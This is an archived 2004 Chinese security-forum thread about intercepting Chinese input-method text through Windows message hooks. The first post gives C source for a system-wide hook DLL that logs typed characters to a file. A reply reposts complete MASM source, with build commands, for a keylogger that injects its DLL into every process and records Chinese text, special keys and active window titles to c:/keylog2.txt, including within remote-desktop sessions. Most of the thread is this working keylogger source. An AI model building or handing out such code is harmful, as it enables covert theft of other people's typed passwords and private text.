关于HOOK截获中文输入


标题:关于HOOK截获中文输入
发信站:安全焦点(2004年12月10日13时58分49秒)

以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE    g_hHinstance    = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{    
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char ch;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }

                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                    MessageBox(NULL, lpstr, lpstr, MB_OK);
                    ImmReleaseContext(hWnd, hIMC);
                }
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
                FILE* f1;
                f1=fopen("c://report.txt","a+");
                ch=(char)(pmsg->wParam);
                fwrite(&ch,1,1,f1);
                fclose(f1);    
            }
            break;
        }
    }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

HOOK_API BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY    HOOK

EXPORTS
    InstallHook
    UnHook


其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^

--
Welcome to my blog:
http://www.donews.net/zwell/ 发帖者:Met3or 讨论区:编程讨论推荐区
标题:Re: 关于HOOK截获中文输入
发信站:安全焦点(2004年12月11日2时20分47秒)

很久没去绿盟,那天去看到czy写的这个
ctrl+C过来

键盘记录支持中文,3389
                                      czy 04.11.28

  挂接WH_CALLWNDPROC(WM_IME_COMPOSITION),WH_GETMESSAGE(WM_CHAR和WM_KEYUP),前者记录中文,后者记特殊按键和字母符号.
  中文在极品五笔和智能ABC中测试通过,另系统测试在2k,xp,2003下测试通过,同时包括
2kserver的3389中.(CMD中不能成功记录)
  记录文件在c:/keylog2.txt中.防止有些人那去害人.调试窗口没有去掉嘿嘿.
用法:运行a.exe后key.dll就会进入每一个进程并进行记录.


编绎参数:
ml /c /coff a.asm
rc hook.rc
link /subsystem:windows a.obj hook.res
ml /c /coff key.asm
link /SECTION:.bss,S /DLL /DEF:key.def /SUBSYSTEM:windows /LIBPATH:C:/MASM32/BIN key.obj


rc文件
-------------------hook.rc-----------------
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include        <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define    ICO_MAIN    1000
#define    DLG_MAIN    1000
#define    IDC_TEXT    1001
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN    ICON        "Main.ico"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 208, 130, 234, 167
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "键盘钩子"
FONT 9, "宋体"
{
EDITTEXT IDC_TEXT, 5, 5, 224, 158, ES_MULTILINE | ES_AUTOVSCROLL
    | WS_BORDER | WS_VSCROLL | WS_TABSTOP | ES_READONLY
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-------------------end---------------------

包含文件key.inc
------------key.inc-------------
UninstallHook PROTO
InstallHook PROTO
------------end-----------------
def文件key.def
------------key.def--------------
LIBRARY        key.dll

EXPORTS       InstallHook
        UninstallHook
---------------end----------------


---------------------a.exe---------------------------
        .386
        .model flat, stdcall
        option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib
include        ../include/windows.inc
include        key.inc
includelib     key.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN    equ    1000
DLG_MAIN    equ    1000
IDC_TEXT    equ    1001
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data?


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain    proc    uses ebx edi esi hWnd,wMsg,wParam,lParam

        mov    eax,wMsg
;********************************************************************
        .if    eax ==    WM_CLOSE
            invoke    UninstallHook
            invoke    EndDialog,hWnd,NULL
;********************************************************************
        .elseif    eax ==    WM_INITDIALOG
            invoke InstallHook
    

;********************************************************************
        .else
            mov    eax,FALSE
            ret
        .endif
        mov    eax,TRUE
        ret

_ProcDlgMain    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        invoke    GetModuleHandle,NULL
        invoke    DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
        invoke    ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end    start

---------------------end-----------------------------

---------------------key.dll--------------------------
.386
.model flat,stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/user32.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/user32.lib
includelib /masm32/lib/kernel32.lib
includelib    ../lib/imm32.lib
include        ../include/imm32.inc

IDC_TEXT    equ    1001
.data
hInstance dd 0
maintitle db '键盘钩子',0

LogKeyFile2   db 'c:/keylog2.txt',0
keylogformat db 0dh,0ah,'--==%s==--',0dh,0ah,0
;------vk-------------
insert    db '[Insert]',0
delete     db '[Del]',0
home    db '[Home]',0
kend    db '[End]',0
pgdown    db '[PgDn]',0
pgup    db '[PgUp]',0

down    db '[↓]',0
up    db '[↑]',0
left    db '[←]',0
right    db '[→]',0

back    db '[<=]',0
ctrl    db '[ctrl]',0
tab    db '[Tab]',0
alt    db '[Alt]',0 ;键盘码是VK_MENU
shift    db '[Shift]',0
kesc    db '[Esc]',0
space    db ' ',0
printscreen    db '[PrtSc]',0
capslock    db '[Caps Lock]',0
kreturn        db 0dh,0ah,0

.data?
forcushwnd    DD ?
fhwnd        dd ?

hHook dd ?
hHook2 dd ?
cchar        db 20 dup(?)
cchar2        db 20 dup(?)

keylogbuffer    db 1024 dup(?)  ;定义1kb的键盘记录缓冲

hlogKeyFile    dd ?

hactivewindow    dd ?
svTitle        db 256 dup(?)  ;当前窗口标题
szkeylogtitlebuffer db 270 dup (?)


.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
      
    .if reason==DLL_PROCESS_ATTACH  ;dll加载时
                push hInstDLL
            pop hInstance
            
    .endif
        mov  eax,TRUE      
        ret
DllEntry Endp


_KeyLog    proc     keyaddr:dword
        invoke    FindWindow,NULL,offset maintitle
        invoke    SendDlgItemMessage,eax,IDC_TEXT,EM_REPLACESEL,0,keyaddr

        invoke    GetActiveWindow
        .if    eax!=hactivewindow
            mov    hactivewindow,eax
            invoke    GetWindowText,hactivewindow,offset svTitle,256
        
            invoke    wsprintf,offset szkeylogtitlebuffer,offset keylogformat,offset svTitle
            invoke    lstrcat,offset keylogbuffer,offset szkeylogtitlebuffer
        
        .endif
        
        invoke    lstrlen,offset keylogbuffer
        .if    eax<10
            invoke    lstrcat,offset keylogbuffer,keyaddr
        .else
             invoke    CreateFile,offset LogKeyFile2,GENERIC_WRITE,FILE_SHARE_READ,/
                                NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
             mov    hlogKeyFile,eax
             invoke    SetFilePointer,hlogKeyFile,0,NULL,FILE_END
                    invoke    SetEndOfFile,hlogKeyFile                   ;文件指针放到文件尾                        
             invoke    lstrlen,offset keylogbuffer
             invoke    _lwrite,hlogKeyFile,offset keylogbuffer,eax    
                   invoke  CloseHandle,hlogKeyFile
                  
                   invoke    RtlZeroMemory,offset keylogbuffer,1024
                   invoke    lstrcat,offset keylogbuffer,keyaddr
        .endif

        ret
_KeyLog    endp


HookProc proc     _dwCode,_wParam,_lParam
        
        invoke    CallNextHookEx,hHook,_dwCode,_wParam,_lParam    
        pushad    
        .if    _dwCode == HC_ACTION
            mov    ebx,_lParam
            assume    ebx:ptr CWPSTRUCT
            ;.if    [ebx].message == WM_IME_CHAR
                ;mov    dx,word ptr [ebx].wParam
                ;xchg    dl,dh
                ;mov    ebx,offset cchar
                ;mov    word ptr [ebx],dx
                
                ;invoke    MessageBoxA,0,addr cchar,addr cchar,1
                ;invoke    _KeyLog,addr cchar
            .if [ebx].message == WM_IME_COMPOSITION
                invoke    GetFocus
                mov    forcushwnd,eax
                invoke    ImmGetContext,forcushwnd
                mov    fhwnd,eax
                        
                invoke    ImmGetCompositionString,fhwnd,GCS_RESULTSTR,NULL,0                
                add    eax,sizeof WCHAR
                invoke    ImmGetCompositionString,fhwnd,GCS_RESULTSTR,offset cchar,eax
                ;invoke    MessageBoxA,0,offset cchar,offset cchar,1
                
                invoke    lstrcmp,addr cchar,addr cchar2
            
                .if    eax
                invoke    _KeyLog,addr cchar
            
                .endif
                invoke    lstrcpy,addr cchar2,addr cchar
                invoke    RtlZeroMemory,offset cchar,20
                invoke    ImmReleaseContext,forcushwnd,fhwnd    
            .endif
            assume    ebx:nothing
        .endif
        popad
        xor    eax,eax
        ret
    
HookProc endp


HookProc2 proc     _dwCode,_wParam,_lParam
        
        invoke    CallNextHookEx,hHook,_dwCode,_wParam,_lParam    
        pushad    
        .if    _dwCode == HC_ACTION
            mov    ebx,_lParam
            assume    ebx:ptr MSG
            .if    [ebx].message == WM_KEYUP
                mov    edx,[ebx].wParam
                .if    dl<30h
                .if dl==VK_SPACE
                ;    invoke    _KeyLog,addr space
                    jmp    @@ex        

                .elseif dl==VK_RETURN
                ;    invoke    _KeyLog,addr kreturn
                    jmp    @@ex                
                .elseif    dl==VK_PGDN ;down
                    invoke    _KeyLog,addr pgdown                                                        
                    jmp    @@ex
                .elseif    dl==VK_PGUP ;UP
                    invoke    _KeyLog,addr pgup
                    jmp    @@ex
                .elseif dl==VK_CAPITAL
                    invoke    _KeyLog,addr capslock
                    jmp    @@ex
                .elseif dl==VK_HOME
                    invoke    _KeyLog,addr home
                    jmp    @@ex
                .elseif dl==VK_END
                    invoke    _KeyLog,addr kend
                    jmp    @@ex
                .elseif dl==VK_DELETE
                    invoke    _KeyLog,addr delete
                    jmp    @@ex
                .elseif dl==VK_INSERT
                    invoke    _KeyLog,addr insert
                    jmp    @@ex
                .elseif dl==VK_DOWN
                    invoke    _KeyLog,addr down
                    jmp    @@ex
                .elseif dl==VK_UP
                    invoke    _KeyLog,addr up    
                    jmp    @@ex
                .elseif dl==VK_LEFT
                    invoke    _KeyLog,addr left
                    jmp    @@ex
                .elseif dl==VK_RIGHT
                    invoke    _KeyLog,addr right
                    jmp    @@ex                                        
                .elseif dl==VK_CONTROL  
                ;    invoke    _KeyLog,addr ctrl
                    jmp    @@ex    
                .elseif dl==VK_TAB
                    invoke    _KeyLog,addr tab
                    jmp    @@ex    
                .elseif dl==VK_ESCAPE
                    invoke    _KeyLog,addr kesc
                    jmp    @@ex    
                .elseif dl==VK_SNAPSHOT
                    invoke    _KeyLog,addr printscreen
                    jmp    @@ex    
                .elseif dl==VK_MENU
                    invoke    _KeyLog,addr alt
                    jmp    @@ex    
                                                
                .endif
                .endif    
            .elseif [ebx].message == WM_CHAR
                invoke    IsDBCSLeadByte,[ebx].wParam
                .if    !eax
                    .if _wParam & PM_REMOVE
                        mov    dx,word ptr [ebx].wParam
                        .if dl==VK_BACK
                            invoke    _KeyLog,addr back
                    
                        .elseif dl==VK_RETURN
                            invoke    _KeyLog,addr kreturn
                        .elseif    dl==VK_SPACE
                            invoke    _KeyLog,addr space    
                        .else
                            mov    ebx,offset cchar
                            mov    word ptr [ebx],dx
                
                    ;invoke    MessageBoxA,0,addr cchar,addr cchar,1
                    
                            invoke    _KeyLog,addr cchar
                            
                        .endif
                    .endif
                .endif                
            .endif
            @@ex:
            assume    ebx:nothing
        .endif
        popad
        xor    eax,eax
        ret
    
HookProc2 endp

InstallHook proc

    invoke    SetWindowsHookEx,WH_CALLWNDPROC,addr HookProc,hInstance,NULL
    mov        hHook2,eax
    invoke    SetWindowsHookEx,WH_GETMESSAGE,addr HookProc2,hInstance,NULL
    mov hHook,eax
    ret
InstallHook endp

UninstallHook proc
    invoke UnhookWindowsHookEx,hHook
     invoke UnhookWindowsHookEx,hHook2
    ret
UninstallHook endp

End DllEntry
-----------------------------------------------end---------------------------

--
mail & MSN:[email protected]
 

你可能感兴趣的:(null,delete,dll,insert,include,hook)